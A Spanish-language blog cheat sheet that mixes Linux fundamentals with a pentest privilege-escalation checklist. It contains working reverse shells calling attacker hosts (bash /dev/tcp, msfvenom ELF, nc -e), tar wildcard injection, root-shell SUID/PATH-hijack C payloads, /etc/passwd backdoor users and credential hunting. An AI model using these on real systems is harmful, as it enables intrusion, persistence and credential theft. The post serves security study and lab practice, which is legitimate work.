0xIncaInsider
← Blog
2023-07-09 · 10 min

Linux Main - Índice de Comandos y Herramientas

Índice central de Linux: enlaces a guías de herramientas, acciones de administración, fundamentos, escalada de privilegios y reference.

Linux Main — Índice de Comandos y Herramientas

Enlaces a Guías de Herramientas

grep awk sed tr crunch echo EMACS basic guide find gobuster gpg hydra impacket iptables john linpeas METASPLOIT 🍕 mount ncat netcat nmap openssl proxyChains searchsploit socat ssh tcpdump tmux type-apropos wc wfuzz wireshark wpscan xfreerdp

Acciones

Administrar permisos Administrar procesos Administrar red Administrar servicios Administrar usuarios y grupos Conectar a target Enumerar escalar privilegios Escalar rutas Instalar Software inyectar comandos Mejorar una shell Obtener informacion del sistema operativo Realizar busquedas en linux transferir archivos

Linux Fundamentals

Command Description
who Muestra quién está conectado
uname Imprime el nombre del sistema operativo
apropos <keyword> Busca en las descripciones de man pages una palabra clave
column Formatea la entrada en múltiples columnas
man <tool> Abre las man pages de la herramienta
<tool> -h Imprime la página de ayuda de la herramienta
cat Concatena e imprime archivos
whoami Muestra el nombre de usuario actual
id Identidad del usuario (UID/GID/grupos)
hostname Establece o imprime el nombre del host
pwd Directorio de trabajo actual
ifconfig Asigna o muestra la dirección de una interfaz y configura sus parámetros
ip Muestra o manipula routing, dispositivos, interfaces y túneles
netstat Estado de la red
ss Utilidad para investigar sockets
ps Estado de los procesos
env Imprime el entorno o ejecuta un comando con entorno modificado
lsblk Lista dispositivos de bloque
lsof Lista archivos abiertos
lsusb Lista dispositivos USB
lspci Lista dispositivos PCI
sudo Ejecuta un comando como otro usuario
su Solicita credenciales vía PAM y cambia de usuario (por defecto root); luego ejecuta una shell
useradd Crea un usuario nuevo o actualiza la info por defecto
userdel Elimina una cuenta y sus archivos relacionados
usermod Modifica una cuenta
addgroup Agrega un grupo al sistema
delgroup Elimina un grupo del sistema
passwd Cambia la contraseña del usuario
dpkg Instala, elimina y configura paquetes Debian
apt Gestión de paquetes de alto nivel (Debian)
aptitude Alternativa a apt
snap Instala, elimina y configura paquetes snap
gem Package manager de Ruby
pip Package manager de Python
git Sistema de control de revisiones
systemctl Control de servicios y systemd
journalctl Consulta el journal de systemd
kill Envía una señal a un proceso
bg Mueve un proceso al background
jobs Lista procesos en background
fg Trae un proceso al foreground
curl Transfiere datos desde/hacia un servidor
wget Alternativa a curl; descarga vía FTP/HTTP(s)
ls Lista contenidos de directorio
cd Cambia de directorio
clear Limpia la terminal
touch Crea un archivo vacío o actualiza su timestamp
mkdir Crea un directorio
tree Lista un directorio recursivamente
mv Mueve o renombra archivos/directorios
cp Copia archivos/directorios
nano Editor de texto en terminal
which Ruta a un archivo o enlace ejecutable
find Busca archivos en una jerarquía de directorios
updatedb Actualiza la base de datos locate
locate Encuentra archivos usando la base de datos locate
more Paginador de STDOUT o archivos
less Alternativa a more con más funciones
head Imprime las primeras diez líneas de STDOUT o archivo
tail Imprime las últimas diez líneas
sort Ordena el contenido de STDOUT o archivo
grep Filtra resultados que contienen patrones
cut Elimina secciones de cada línea de archivos
tr Reemplaza ciertos caracteres
awk Lenguaje de escaneo y procesamiento de patrones
sed Editor de flujo para filtrar y transformar texto
wc Cuenta líneas, palabras y bytes
chmod Cambia permisos de archivo/directorio
chown Cambia owner y grupo de archivo/directorio
python3 -m http.server Servidor web Python3 en el puerto TCP 8000
tee Lee stdin, muestra la salida y la guarda en archivos; ejemplo: ls -l | tee file_list.txt

Managing Hard Disks

  • hda — discos IDE clásicos.
  • sda — discos SATA/SCSI modernos.
  • Las particiones dentro de sda son sda1, sda2, …
df -h              # información básica de discos
fdisk -l           # tabla de particiones
lsblk              # información de block devices
parted / cfdisk    # edición/visualización de particiones
# (parted) print
# (parted) select /dev/sdb
hdparm             # parámetros del disco

inetd, xinetd y rlinetd

ps aux | grep "inetd"   # inetd corre siempre en background y decide iniciar/detener daemons
  • rlinetd.conf y /etc/rlinetd.d — configuración de rlinetd.
  • Deshabilitar daemons innecesarios.
  • Configurar qué IPs pueden acceder a un daemon.

Orden de Resolución de Nombres

/etc/nsswitch.conf
# Configura el orden y las fuentes de las que el sistema obtiene
# información sobre usuarios, grupos y otros servicios de nombres.

Bootloader — GRUB2

  • Archivo principal de configuración (reemplaza menu.lst de GRUB v1):
/boot/grub/grub.cfg
  • Directorio con los scripts que construyen grub.cfg:
/etc/grub.d

  • 00_header — carga la configuración de /etc/default/grub

  • 05_debian_theme — define colores, fondo, etc.

  • 10_linux — carga las entradas de menú

  • 20_memtest86 — carga el tester de memoria

  • 30_os-prober — escanea los discos buscando otros SO

  • 40_custom — plantilla para entradas de menú manuales

  • Archivo con los ajustes del menú de GRUB:

/etc/default/grub

Ejecutar update-grub después de modificarlo.

Samba y Syslog

/etc/samba/smb.conf     # configuración de Samba
/etc/rsyslog.conf       # configuración de rsyslog

Log de eventos de mail de todas las prioridades a /var/log/mail:

mail.* /var/log/mail

Log de eventos de emergencia (emerg) a todos los usuarios conectados:

*.emerg *

Hardware Information

lscpu                # información de CPU
cat /proc/cpuinfo    # detalle de CPU

Networking

Interface Information

/sbin/ifconfig -a
cat /etc/network/interfaces

Network Configuration

cat /etc/resolv.conf
cat /etc/networks
iptables -L
dnsdomainname

Monitor Network Communication

lsof -i :8080
grep 80 /etc/services
netstat -natup
last
w

Cached IP and MAC Information

arp -e
route
route -nee

Change IP

ifconfig eth0 192.168.1.115
ifconfig eth0 192.168.1.115 netmask 255.255.255.0 broadcast 192.168.1.255

Shells con Herramientas Integradas

nc -lvp 4444    # Atacante. Entrada (comandos)
nc -lvp 4445    # Atacante. Salida (resultados)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # En el target; usar la IP del atacante

Referencia: https://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

Dominios de Sockets

  • AF_UNIX — comunicación entre procesos de la misma máquina.
  • AF_INET / AF_INET6 — comunicación entre procesos a través de la red.

Interactuar con un Socket AF_UNIX

nc -U /run/snapd.socket
GET / HTTP/1.1
Host: 127.0.0.1

Herramientas

File Permissions

  • Comprobar permisos de /etc/passwd y /etc/shadow.
find -type f -maxdepth 1 -writable      # archivos escribibles

Generar hash de contraseña (MD5):

openssl passwd -1
echo 'joske' | openssl passwd -1 -stdin

Generar hash (SHA-256):

python -c "import crypt; print crypt.crypt('joske')"

sudo -l     # comandos ejecutables con sudo
umask       # máscara de permisos para archivos nuevos

Important Payloads

  • Mempodipper compilado (Ubuntu 11 → gimmeroot.c).

Exploits de Referencia

overlayfs

Herramientas de Escalada

Referencias

Escalada de Privilegios — Checklist

Spawn de Shell Interactiva y Entorno

python -c 'import pty;pty.spawn("/bin/bash");'
# Ctrl+Z en el host local
echo $TERM
stty -a
stty raw -echo
fg

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
export TERM=xterm-256color
export SHELL=bash
stty rows <rows> columns <cols>

Restricted bash

perl -e 'exec "/bin/sh";'
/bin/sh -i
exec "/bin/sh";
echo os.system('/bin/bash')
ssh user@$ip nc $localip 4444 -e /bin/sh
export TERM=linux

Scripts automatizados

linPEAS.sh
LinEnum.sh
linuxprivchecker.py
unix-privesc-check
msfconsole: multi/recon/local_exploit_suggester

Check Environment

¿Restricciones sobre carpetas? ¿alguna sin exec o sin suid?

mount -l        # flags de montaje (noexec, nosuid…)
cat /etc/fstab  # discos sin montar / opciones de montaje

SUID / SGID — Detección

find / -perm -1000 -type d 2>/dev/null   # Sticky bit: solo owner/root borra o renombra
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000): corre con el grupo del archivo
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000): corre con el owner del archivo
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID o SUID (búsqueda completa)
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done
# búsqueda rápida en lugares comunes (/bin, /sbin)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
# SUID/SGID, sin symlinks, profundidad 3, sin errores
find / -perm /u=s -user "User name that you are looking for" 2>/dev/null

Archivos Escribibles y sin Dueño

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # dirs world-writable
find /dir -xdev \( -nouser -o -nogroup \) -print                 # archivos sin owner/group

Escribibles por el Usuario Actual

find / -perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -user `whoami` 2>/dev/null
find / -perm /u+w -user `whoami` 2>/dev/null

Scripts Modificables

find / -writable -type f -name "*.py" 2>/dev/null     # python files escribibles

ls -aRl / | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Cualquiera
ls -aRl / | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl / | awk '$1 ~ /^.....w/' 2>/dev/null    # Grupo
ls -aRl / | awk '$1 ~ /w.$/' 2>/dev/null        # Others

find / -readable -type f 2>/dev/null               # Legibles por cualquiera
find / -readable -type f -maxdepth 1 2>/dev/null

Servicios Corriendo como Root

ps aux | grep "root"
# /usr/bin/journalctl normalmente no es legible por un usuario → ¿cron job?

Búsqueda de Contraseñas

grep -rnw '/' -ie 'pass' --color=always
grep -rnw '/' -ie 'DB_PASS' --color=always
grep -rnw '/' -ie 'DB_PASSWORD' --color=always
grep -rnw '/' -ie 'DB_USER' --color=always

Archivos Interesantes

# Archivos modificados en los últimos 5 minutos
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

# Bases de datos SQLite
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

# Archivos ocultos
find / -type f -iname ".*" -ls 2>/dev/null

# Scripts en el PATH
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

# Archivos de backup
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Checklist Manual de Escalada (post-LinPEAS)

linpeas.sh es un buen punto de partida — revisar todo lo que lista su salida. Si no aparece nada, los chequeos manuales ayudan:

id
# ¿de qué grupos formas parte? algunos grupos tienen más permisos

ls -la
# revisar archivos del home; usar 'file' para identificar tipos útiles y transferirlos

ls -la /home
# revisar todos los usuarios y sus directorios (.ssh, .mozilla)

sudo -l
# si hay contraseña, ver qué comandos podemos ejecutar como root/otro usuario
# también muestra si LD_PRELOAD está conservado en el entorno

history
# revisar comandos previos

ls -la /var/www/
# si hay directorio web, enumerarlo por completo buscando credenciales

find / -perm -222 -type d 2>/dev/null
# buscar directorios world-writable

find / -type f -iname ".*" -ls 2>/dev/null
# archivos ocultos

find / -type f -user joe 2>/dev/null
# archivos del usuario 'joe'

find / -group userGroup 2>/dev/null
# archivos del grupo 'userGroup'

find / -type f -perm -04000 -ls 2>/dev/null
# archivos con SUID

grep --color=auto -rnw -iIe "PASSW\|PASSWD\|PASSWORD\|PWD" --color=always 2>/dev/null
# cadenas de contraseñas

find / -perm -u=s -type f 2>/dev/null
# binarios SUID → GTFOBins

find / -name authorized_keys 2>/dev/null
find / -name id_rsa 2>/dev/null
# claves SSH

cat /etc/exports
# ¿'no_root_squash' en alguna exportación NFS?

# Los binarios SUID poco comunes deben revisarse primero:
# ejecutarlos, entender cómo responden a la entrada (buffer overflow, ret2libc…),
# transferirlos y revertirlos con Ghidra (strings, funciones) o Decompiler Explorer

ls -la /mnt
# ¿hay algo montado?

lsblk
# listar block devices

cat /etc/crontab
# tareas programadas

./pspy64
# procesos en background

# Si hay scripts Python/Bash interesantes: library hijacking, tar wildcard injection

ls -la /etc/update-motd.d/
# ¿banners o archivos MOTD escribibles?

mysql -u root -p
# servicios internos como mysql con contraseñas comunes

env
# variables de entorno específicas (env_keep+=LD_PRELOAD)

# Si un script no es modificable pero su directorio sí:
# crear otro script malicioso en el mismo directorio y un symlink

ss -ltnp
# puertos internos; revisar puertos inusuales

getcap -r / 2>/dev/null
# capabilities

# ¿El target es una imagen Docker? ¿podemos escapar del contenedor?
hostname          # hostname aleatorio
ls -la /          # presencia de .dockerenv
cat /proc/1/cgroup  # rutas con 'docker'
ifconfig          # IP del contenedor; 'hostname -i'

# Si estamos en Docker, escaneo de puertos interno con un bash port-scanner
# o ping-sweep del segmento (solo cuando no haya otro vector de escalada):
for i in {1..255}; do (ping -c 1 172.18.0.${i} | grep "bytes from" &); done

# Si hay acceso a MySQL: inyectar código PHP en una tabla y guardarla como archivo
# en el servidor → RCE con curl

# Para pivotar a otras máquinas de la red: sshuttle + ping sweep (THM Holo)

Permisos Débiles — /etc/shadow y /etc/passwd

/etc/shadow legible

Requisito: entender el formato de /etc/passwd y /etc/shadow.

ls -l /etc/shadow    # p.ej. -rw-r--rw- 1 root shadow …
  • Copiar el usuario deseado y su hash.
  • unshadow con el par passwd/shadow.
  • Crackear con john.

/etc/shadow escribible

mkpasswd -m sha-512 newpasswordhere   # genera el hash
# reemplazar el hash del usuario root en /etc/shadow por el generado

/etc/passwd escribible

openssl passwd newpasswordhere   # genera el hash

newroot:PasswordGenerada:0:0:root:/root:/bin/bash

su newroot

Sudo -l — Secuencias de Escape de Shell

Para este tipo de escalada usa https://gtfobins.github.io/gtfobins/ftp/#sudo. Hay binarios que, con permisos sudo, se escalan ejecutando !/bin/sh:

sudo vim
:!/bin/sh

Cronjobs

Cronjobs — variable de entorno / PATH

  • Identifica un cronjob que puedas editar.
  • Localízalo con locate NombreArchivo.
  • Reemplaza el contenido del archivo por un reverse shell y ponte en escucha:
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

Cronjobs — script que usa wildcards (tar --checkpoint)

cat /usr/local/bin/compress.sh
# el comando tar corre con wildcard (*) en el home del usuario

tar tiene opciones de línea de comandos que ejecutan comandos arbitrarios vía la funcionalidad de checkpoint (ver GTFOBins tar).

Generar un reverse shell ELF en Kali (ajustar LHOST):

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf

Transferir shell.elf a /home/user/ en la víctima (scp o webserver + wget) y hacerlo ejecutable:

chmod +x /home/user/shell.elf

Crear estos dos archivos en /home/user:

touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf

Cuando el cronjob ejecute tar, el wildcard * expande esos nombres; como son opciones válidas de tar, se interpretan como opciones y no como archivos. Escucha:

nc -nvlp 4444

Limpiar tras la escalada:

rm /home/user/shell.elf
rm /home/user/--checkpoint=1
rm /home/user/--checkpoint-action=exec=shell.elf

SUID / SGID

Exploits conocidos

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Buscar el exploit del binario encontrado en https://www.exploit-db.com/.

Shared object injection

strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

Si intenta cargar un archivo inexistente, se reemplaza esa ruta con un payload:

# -fPIC: Generate Position Independent Code.
# -shared: Generate a shared library.
# -o: Output shared object (en la ruta donde el binario SUID lo busca).
gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        setuid(0);
        system("/bin/bash -p");
}

SUID/SGID — Variables de entorno: el archivo llama a un servicio

  • Tras listar los binarios SUID/SGID, ejecutar strings.
  • Si se ve algo como service start apache2, usar un payload que ejecute una shell root:
// /home/user/tools/suid/service.c
int main() {
        setuid(0);
        system("/bin/bash -p");
}

gcc -o service exploit.c
PATH=.:$PATH          # anteponer '.' para que 'service' resuelva nuestro payload
# ejecutar el binario SUID/SGID que hace la llamada a 'service' → root

Passwords and Keys

History files

Ocurre cuando un usuario escribe su contraseña en un comando y esta se guarda en el history:

cat ~/.*history | less

Config files

Los archivos de configuración suelen requerir guardar contraseñas.

SSH keys

Cuando las claves SSH tienen permisos world-readable, se pueden leer y copiar a la máquina del atacante para hacer SSH al host.

Root Squashing (NFS)

  • Verificar permisos: cat /etc/exports.

En Kali:

sudo su
mkdir /tmp/nfs                                    # dir para montar el NFS del target
mount -o rw,vers=2 IP_TARGET:/tmp /tmp/nfs/       # montar la exportación
# crear un payload/script y darle permisos (chmod +xs)
# ejecutar ese mismo script en la máquina target

Exploitation Techniques

SUID — ¿está fijado el bit en estas aplicaciones?

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
# consultar GTFOBins

# Nmap (versiones 2.02–5.21 con modo interactivo)
nmap -V
nmap --interactive
nmap> !sh

# Vim / vim.tiny
vim.tiny
# ESC → :set shell=/bin/sh → :shell

# find
touch pentestlab
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

# Bash
bash -p

# Less
less /etc/passwd
!/bin/sh

# Nano: modificar /etc/sudoers
# <user> ALL=(ALL) NOPASSWD:ALL

# cp: sobrescribir /etc/passwd con un hash propio

Aplicaciones SUID / SUDO custom

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
strings customapp     # scripts, operación, rutas relativas, permisos

strace /usr/local/bin/customapp 2>&1 | grep -i -E "open|access|no such file"

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

gcc -shared -o /home/user/missing.so -fPIC /home/user/missing.c

  • Symlink attacks: revisar binarios SUID vulnerables (p.ej. nginxroot / CVE-2016-1247).

  • PATH hijacking:

strings /usr/local/bin/suid-env
# si usa ruta relativa
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
gcc /tmp/service.c -o /tmp/service
export PATH=/tmp:$PATH
/usr/local/bin/suid-env

# si el binario especifica la ruta completa del servicio, crear una función
# exportada con el mismo nombre y ejecutar el binario
function /usr/sbin/serviceX() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/serviceX
/usr/local/bin/suid-env2

# segundo método (SHELLOPTS=xtrace + PS4)
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'

NFS Priv Esc

https://medium.com/@Kan1shka9/hacklab-vulnix-walkthrough-b2b71534c0eb

Linux Capabilities

find / -type f -print0 2>/dev/null | xargs -0 getcap 2>/dev/null
getcap -r /
getcap -r / 2>/dev/null
# cap_dac_read_search → leer cualquier archivo
# cap_setuid+ep → setuid (escalada directa si el binario lo permite)

MySQL Corriendo como Root

select sys_exec('echo test>/tmp/test.txt');
select sys_eval('echo test>/tmp/test.txt');

SSH Bad Keys Attack

Si authorized_keys es legible, buscar la clave pública en debian-ssh (claves predeterminadas de Debian) para recuperar la privada — PayloadsAllTheThings:

https://github.com/g0tmi1k/debian-ssh

LINKS

Basic Checks

OS Version

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release      # Debian based
cat /etc/redhat-release   # Red Hat based

Kernel Version

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

Environment Variables

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

Juicy Files

/etc/*issue
/etc/*release
/proc/version
/etc/profile
/etc/passwd
/etc/shadow
/root/.bash_history
/var/log/dmesg
/var/mail/root
/var/spool/cron/crontabs/root

# PID/ID del proceso actual, corresponde a /etc/passwd para saber qué usuario corre
/proc/self/status

# 'user agents' del proceso; si se tiene acceso puede dar código ejecutable
/proc/self/environ

# ¿algo bloquea el bruteforce?
/etc/pam.d/system-auth
/etc/fail2ban/fail2ban.conf

# OSX / macOS
/etc/fstab
/etc/master.passwd
/etc/resolv.conf
/etc/sudoers
/etc/sysctl.conf

/dev/tcp

exec 3<>/dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT>
echo -e "GET /<FILENAME> HTTP/1.1\n\n">&3
cat <&3

Filesystem

  • man hier describe la jerarquía del filesystem Linux.
  • Aunque haya múltiples directorios y mount points, todos forman parte del mismo filesystem.
  • La configuración de cómo se montan las particiones vive en /etc/fstab.
  • mount monta particiones en distintos mount points.
  • df muestra el uso de espacio de las particiones montadas; du el uso de archivos/directorios.
  • Las rutas absolutas parten de la raíz del filesystem e ignoran el cwd; las relativas parten del cwd.
  • ls -l file.txt muestra la última modificación; touch file.txt la actualiza (creando el archivo si no existe).
  • Para nombres con espacios: escapar con cat file\ name.txt o comillas cat "file name.txt".

Globbing

ls file*.txt        # archivos de texto que empiezan por 'file'
ls file?.txt        # 'file' + un carácter
ls **/*.txt         # archivos de texto en subdirectorios
ls file[123].txt    # 'file' + '1', '2' o '3'
ls file[a-zA-Z].txt # 'file' + cualquier letra del rango

Links

ln hello.txt hello-hardlink.txt    # hard link al inodo; sobrevive al borrado del original
ln -s hello.txt hello-softlink.txt # symlink; se rompe si el recurso se elimina

Compresión y archivado

zip tmp/backup.zip f1.txt f2.txt f3.txt   # crear zip
unzip -l tmp/backup.zip                   # listar contenido
zip -r tmp/backup-dir.zip dir1 dir2       # zip de directorios

tar cvf backup.tar file?.txt dir?         # archivar con patrón
tar tvf backup.tar                        # listar contenido
tar xvf backup.tar                        # extraer
gzip backup.tar                           # comprimir
gunzip backup.tar.gz                      # descomprimir

Búsqueda en el filesystem

find . -name 'file*.txt'    # por formato en cwd y subdirectorios
find . -iname 'file*.txt'   # case-insensitive
locate file.txt             # búsqueda por nombre desde la base de datos